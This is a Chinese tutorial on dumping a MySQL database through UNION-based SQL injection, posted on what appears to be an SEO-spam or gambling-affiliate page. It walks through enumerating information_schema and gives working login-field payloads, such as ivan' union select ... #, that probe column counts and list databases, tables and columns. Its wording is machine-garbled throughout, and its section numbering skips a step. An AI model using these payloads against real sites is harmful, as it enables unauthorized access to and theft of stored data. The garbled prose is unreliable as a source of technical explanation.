主页 > 二号站平台 > 正文
这一篇文章怎样将MySQL数据库爆库?
上一篇【超级蜘蛛池之何谓为SQL注入?】介绍了SQL注入的基本原理和试验办法!
假如作为一名黑客,底子无法知道体系中有哪些表,表中有哪些字段,那怎样将数据库的内容盗取出来呢?
答案便是MySQL数据有一个元数据库,它会描绘整个MySQL服务器有哪些数据库,每个数据有哪些表,每个表有哪些字段,这就相当于把自家房子有什么宝物通通告知他人了。
那这个元数据库就一个根,只需抓住了这依据,沿着:元数据库 -> 数据库列表->表列表->字段列表->表内容
这个树状分层的检索次序,就能够将整个数据库内容悉数盗取出来。
一、元数据库在哪
方才谈到MySQL里边有个元数据库,但它在藏在哪里呢?别急,请登录MySQL数据库,并运转show databases;指令,就能够获取一切数据库列表,如下图所示:
超级蜘蛛池之运用SQL注入进行爆库!【进阶】插图
图片中标赤色的数据库information_schema便是元数据库,里边应竭尽有,能够纵情开辟处女地。
进入information_schema数据库,看看里边有哪些数据表,运用如下指令:
超级蜘蛛池之运用SQL注入进行爆库!【进阶】插图(1)
咱们所说的根就在SCHEMATA表,它里边描绘了整个MySQL 下一切数据库。
然后再运用TABLES表,则能够看到数据下的表名,再运用COLUMNS表,则能够看到每个表下的字段名。下面顺次展现怎样检查这些数据。
二、检查一切数据库
SCHEMATA表描绘一切数据库信息,只需规范的select句子:
SELECT * FROM information_schema.SCHEMATA
即可将该表的内容悉数显示出来:
超级蜘蛛池之运用SQL注入进行爆库!【进阶】插图(2)
图中SCHEMA_NAME字段为数据库名,从查询成果能够知该MySQL服务器有5个数据库。
请注意,从这儿开端不再入进入某个数据库之后再拜访表,而是选用<数据库名>.<表名>的规范格局来拜访某个数据库下的表。上述的information_schema.SCHEMATA表明查询information_schema数据库下的 SCHEMATA表。
三、检查数据表
有了数据库列表,就能够进一步检查某个数据库下一切表(当时也能够检查一切数据库下的一切表)。比方检查lyt_test数据库下的一切表,运用SQL句子:
SELECT TABLE_SCHEMA, TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = ‘lyt_test’
查询成果如下图所示:
超级蜘蛛池之运用SQL注入进行爆库!【进阶】插图(3)
TABLE_NAME表明表名,左列TABLE_SCHEMA为数据库名,因为lyt_test数据库下只要accounts这个表,所以输出成果只要一列。
五、检查表中的一切字段
然后运用COLUMNS表能够查询表的一切字段信息,运用下面SQL句子可查询accounts表的一切字段名和类型:
SELECT TABLE_NAME, COLUMN_NAME, DATA_TYPE FROM information_schema.COLUMNS WHERE TABLE_NAME = ‘accounts’
查询出accounts表一切字段和类型信息如下图所示:
超级蜘蛛池之运用SQL注入进行爆库!【进阶】插图(4)
六、检查表中的一切记载
检查accounts表中的内容更是小菜一碟了,学过数据库的都知道SQL写成下面这样: SELECT * FROM lyt_test.accounts
超级蜘蛛池之运用SQL注入进行爆库!【进阶】插图(5)
那么怎样运用SQL注入来盗取整个数据库呢?,这便是要寻觅的支点。
还记得上篇文章介绍的试验吗?运用SQL注入技能,能够将userinfo表中的一切数据都盗取出来。但该SQL能注入的部分仅仅WHERE部分,而SELECT … FROM …部分中的字段和表名却是无法注入的,那怎样能够将其它表的数据盗取出来呢?
这个密秘就便是运用UNION句子。是的,规范SQL供给了UNION句子,能够将两个SELECT成果联合起来(即对两个SELECT成果作并集)。UNION句子的语法如下:
SELECT column_name1(s) FROM table_name1
UNION
SELECT column_name2(s) FROM table_name2
仅有的要求便是两个SELECT句子的列数要持平。
有了UNION句子,就能够将 SELECT * from userinfo WHERE … 和 SELECT * from lyt_test.accounts 两个成果联合起来。
那么在没有拿到源代码的状况,怎样知道 SELECT * from userinfo 查询成果有多少列呢?
可通过打听办法拿到这个数值:顺次注入UNION SELECT 1, … N这样的句子来打听。先测验 SELECT 1, 再SELECT 1,2, 然后SELECT 1,2,3,直到不运转犯错停止。能够先在MySQL上测验一下,成果下图所示:
超级蜘蛛池之运用SQL注入进行爆库!【进阶】插图(6)
从上图测验成果可知UNION后边跟的SELECT成果有必要是两列,不然会犯错。
们在注入时WHERE后是两个条件吗?(name = ‘name′ANDpasswd=′passswd ‘),在实践代码中或许会是更杂乱的条件,乃至黑客也很难猜想的条件,那这个UNION语然该插在那个变量呢?使得整个SQL仍是个合法的查询句子。
最好安全的做法是将UNION SELECT …注入到榜首个变量中,然后注入的尾部添加一个注释符号,将后的句子注释掉,就不会考虑后边的是什么句子了。在MySQL数据库,运用#符号即可完成注释。
能够做一下注入测验,验证一下:
在username文本框中输入:ivan’ union select 1,2#,如下图:
超级蜘蛛池之运用SQL注入进行爆库!【进阶】插图(7)
点login 按钮后的运转成果如下图所示:
超级蜘蛛池之运用SQL注入进行爆库!【进阶】插图(8)
union注入成果
请留注下红框中生成的SQL句子:
SELECT * FROM userinfo WHERE name = ‘ivan’ union select 1,2# AND passwd = ”
#将后边的SQL内容注释掉了,MySQL解析时直接将它干掉,相当于下面的SQL句子:
SELECT * FROM userinfo WHERE name = ‘ivan’ union select 1,2
select 1, 2的成果是常数行, 在后边的例中测验从表中查询数据,而不完满是常数行。
好了 ,UNION和#便是撬动爆库的那个支点
七、实践爆库
以下试验都是根据《SQL注入根底》一文开发的数据库使用demo来试验的,假如读者没有SQL注入的根底知识,主张看看这篇文章;一起主张SQL注入的初学者也按此文建立相同的数据使用demo来试验测验一把。
八、爆数据库列表
往username中注入:ivan’ union select 1,SCHEMA_NAME from information_schema.SCHEMATA #
即可查询一切数据库列表如下图:
超级蜘蛛池之运用SQL注入进行爆库!【进阶】插图(9)
注入获取一切数据库
图示标赤色框的便是数据库列表。咱们在UNION SELECT …句子中榜首列为常数1,第二列是information_schema.SCHEMATA表中SCHEMA_NAME这一列,它刚好便是数据库名。
九、爆某个数据库下的一切表名
为了精减输出成果,这儿只爆lyt_test数据库下的表名,往username中注入:
ivan’ union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = ‘lyt_test’#
即可查询得lyt_test数据库下一切表,如下图所示:
超级蜘蛛池之运用SQL注入进行爆库!【进阶】插图(10)
注入获取lyt_test数据库下的表
不同的当地是lyt_test数据库下只要accounts一个表,其它与爆数据库原理相同。
十、爆某个表下一切字段
这儿只爆accounts表下的一切字段,往username中注入:
ivan’ union select 1, COLUMN_NAME from information_schema.COLUMNS WHERE TABLE_NAME = ‘accounts’
成果如下图所示:
超级蜘蛛池之运用SQL注入进行爆库!【进阶】插图(11)
注入获取字段名
标红的是字段名。那么类型呢? 修正注入内容为:ivan’ union select 1, DATA_TYPE from information_schema.COLUMNS WHERE TABLE_NAME = ‘accounts’
就能够获取字段类型信息,如下图所示:
注入获了字段类型
超级蜘蛛池之运用SQL注入进行爆库!【进阶】插图(12)
标赤色的分别是前面两个字段的类型,即ID类型为char, balance类型为float。
从上面能够发现规则:每个注入能够获取到方针表中的每个列表数据, 假如表中有N表,注入N次能够获取完好的表信息。
总结
SQL注入爆数据库便是这么简单的,但有几个必备条件:
MySQL中呈现一个元数据库information_schema,它描绘整个MySQL服务器一切数据库->表->字段联系树
SQL言语供给了UNION句子,能够新增盗取其它数据合并到被注入SELECT成果
MySQL对SQL做扩展,供给注释符#
- 上一篇:二号站域名验证真假_新闻详情
- 下一篇:没有了
猜你喜欢
- 2020-08-06 05:24:37 二号站手机登录_搜索引擎蜘蛛UA标识名称
- 2020-04-14 05:24:38 二号站登录网址_「sem和seo需要两个站吗」 SEO和
- 2020-04-03 16:24:40 天富帐号注册_「seo109视频」 “ 免费的SEO视频教
- 2020-03-29 16:25:10 天富帐号注册_「芜湖seo公司搜18火星」 TBSEO公司
- 2号站主管Q:2347-660
-
- 10-31test
- 10-27凤凰二号站代理_新闻详情
- 10-27二号站主管注册_新闻详情
- 10-26二号站登录网址_新闻详情
- 10-26凤凰二号站官网_新闻详情
- 10-25凤凰联盟二号站_新闻详情
- 10-242号站_新闻详情
- 10-23二号站电脑测速_新闻详情
- 10-22二号站直属代理注册_新闻详情
- 10-21二号站苹果手机版下载_新闻详情
- 10-31test
- 10-27凤凰二号站代理_新闻详情
- 10-27二号站主管注册_新闻详情
- 10-26二号站登录网址_新闻详情
- 10-26凤凰二号站官网_新闻详情
- 10-25凤凰联盟二号站_新闻详情
- 10-242号站_新闻详情
- 10-23二号站电脑测速_新闻详情
- 10-22二号站直属代理注册_新闻详情
- 10-21二号站苹果手机版下载_新闻详情